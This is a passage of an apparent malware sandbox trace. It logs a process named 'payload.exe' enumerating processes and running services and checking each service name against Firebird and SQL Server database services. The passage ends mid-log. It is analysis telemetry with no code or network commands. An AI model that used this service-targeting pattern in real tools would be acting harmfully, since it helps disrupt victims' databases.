[0131.200] lstrlenW (lpString="sihost.exe") returned 10 [0131.200] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.200] lstrlenW (lpString="svchost.exe") returned 11 [0131.200] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0131.201] lstrlenW (lpString="taskhostw.exe") returned 13 [0131.201] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0131.202] lstrlenW (lpString="msoia.exe") returned 9 [0131.202] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0131.202] lstrlenW (lpString="explorer.exe") returned 12 [0131.202] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0131.203] lstrlenW (lpString="SearchUI.exe") returned 12 [0131.203] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0131.204] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0131.204] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0131.205] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0131.205] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0131.205] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0131.205] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0131.206] lstrlenW (lpString="payload.exe") returned 11 [0131.206] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0131.207] lstrlenW (lpString="cmd.exe") returned 7 [0131.207] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0131.207] lstrlenW (lpString="conhost.exe") returned 11 [0131.207] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0131.208] CloseHandle (hObject=0x4b8) returned 1 [0131.208] Sleep (dwMilliseconds=0x1f4) [0132.240] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443df90 [0132.379] EnumServicesStatusExW (in: hSCManager=0x443df90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0132.379] GetLastError () returned 0xea [0132.379] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x5b51c8 [0132.379] EnumServicesStatusExW (in: hSCManager=0x443df90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5b51c8, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5b51c8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0132.380] CloseServiceHandle (hSCObject=0x443df90) returned 1 [0132.380] lstrlenW (lpString="AppXSvc") returned 7 [0132.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0132.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0132.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0132.380] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0132.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0132.380] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0132.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.380] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0132.391] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0132.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0132.391] lstrlenW (lpString="Audiosrv") returned 8 [0132.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0132.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0132.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0132.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0132.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0132.391] lstrlenW (lpString="BFE") returned 3 [0132.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0132.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0132.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0132.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0132.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0132.391] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0132.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0132.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0132.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0132.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0132.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0132.391] lstrlenW (lpString="CDPSvc") returned 6 [0132.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0132.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0132.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0132.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0132.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0132.392] lstrlenW (lpString="ClickToRunSvc") returned 13 [0132.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0132.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0132.392] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0132.392] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0132.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0132.392] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0132.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0132.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0132.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0132.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0132.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0132.392] lstrlenW (lpString="CryptSvc") returned 8 [0132.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0132.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0132.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0132.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0132.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0132.392] lstrlenW (lpString="DcomLaunch") returned 10 [0132.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0132.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0132.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0132.392] lstrlenW (lpString="DeviceAssociationService") returned 24 [0132.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0132.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0132.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0132.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0132.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0132.392] lstrlenW (lpString="Dhcp") returned 4 [0132.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0132.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0132.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0132.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0132.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0132.393] lstrlenW (lpString="Dnscache") returned 8 [0132.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0132.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0132.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0132.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0132.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0132.393] lstrlenW (lpString="DPS") returned 3 [0132.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0132.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0132.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0132.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0132.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0132.393] lstrlenW (lpString="DusmSvc") returned 7 [0132.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0132.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0132.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0132.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0132.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0132.393] lstrlenW (lpString="EventLog") returned 8 [0132.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0132.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0132.393] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0132.393] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0132.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0132.393] lstrlenW (lpString="EventSystem") returned 11 [0132.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0132.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0132.394] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0132.394] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0132.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0132.394] lstrlenW (lpString="FontCache") returned 9 [0132.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0132.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0132.394] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0132.394] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0132.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0132.394] lstrlenW (lpString="gpsvc") returned 5 [0132.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0132.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0132.394] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0132.394] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0132.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0132.394] lstrlenW (lpString="iphlpsvc") returned 8 [0132.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0132.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0132.394] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0132.394] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0132.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0132.394] lstrlenW (lpString="KeyIso") returned 6 [0132.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0132.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0132.394] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0132.394] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0132.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0132.394] lstrlenW (lpString="LanmanServer") returned 12 [0132.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0132.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0132.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0132.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0132.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0132.395] lstrlenW (lpString="LanmanWorkstation") returned 17 [0132.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0132.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0132.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0132.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0132.395] lstrlenW (lpString="lfsvc") returned 5 [0132.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0132.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0132.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0132.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0132.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0132.395] lstrlenW (lpString="lmhosts") returned 7 [0132.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0132.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0132.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0132.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0132.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0132.395] lstrlenW (lpString="LSM") returned 3 [0132.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0132.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0132.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0132.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0132.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0132.395] lstrlenW (lpString="MpsSvc") returned 6 [0132.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0132.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0132.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0132.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0132.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0132.396] lstrlenW (lpString="NcbService") returned 10 [0132.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0132.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0132.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0132.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0132.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0132.396] lstrlenW (lpString="netprofm") returned 8 [0132.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0132.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0132.396] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0132.396] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0132.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0132.396] lstrlenW (lpString="NgcSvc") returned 6 [0132.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0132.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0132.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0132.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0132.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0132.396] lstrlenW (lpString="NlaSvc") returned 6 [0132.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0132.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0132.396] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0132.396] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0132.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0132.396] lstrlenW (lpString="nsi") returned 3 [0132.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0132.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0132.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0132.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0132.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0132.397] lstrlenW (lpString="PcaSvc") returned 6 [0132.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0132.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0132.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0132.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0132.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0132.397] lstrlenW (lpString="PlugPlay") returned 8 [0132.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0132.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0132.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0132.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0132.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0132.397] lstrlenW (lpString="Power") returned 5 [0132.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0132.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0132.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0132.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0132.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0132.397] lstrlenW (lpString="ProfSvc") returned 7 [0132.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0132.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0132.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0132.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0132.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0132.397] lstrlenW (lpString="RpcEptMapper") returned 12 [0132.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0132.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0132.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0132.397] lstrlenW (lpString="RpcSs") returned 5 [0132.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0132.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0132.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0132.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0132.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0132.398] lstrlenW (lpString="SamSs") returned 5 [0132.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0132.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0132.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0132.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0132.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0132.398] lstrlenW (lpString="Schedule") returned 8 [0132.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0132.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0132.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0132.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0132.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0132.398] lstrlenW (lpString="SecurityHealthService") returned 21 [0132.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0132.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0132.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0132.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0132.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0132.398] lstrlenW (lpString="SENS") returned 4 [0132.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0132.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0132.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0132.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0132.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0132.398] lstrlenW (lpString="ShellHWDetection") returned 16 [0132.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0132.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0132.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0132.399] lstrlenW (lpString="Spooler") returned 7 [0132.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0132.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0132.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0132.399] lstrcmpiW 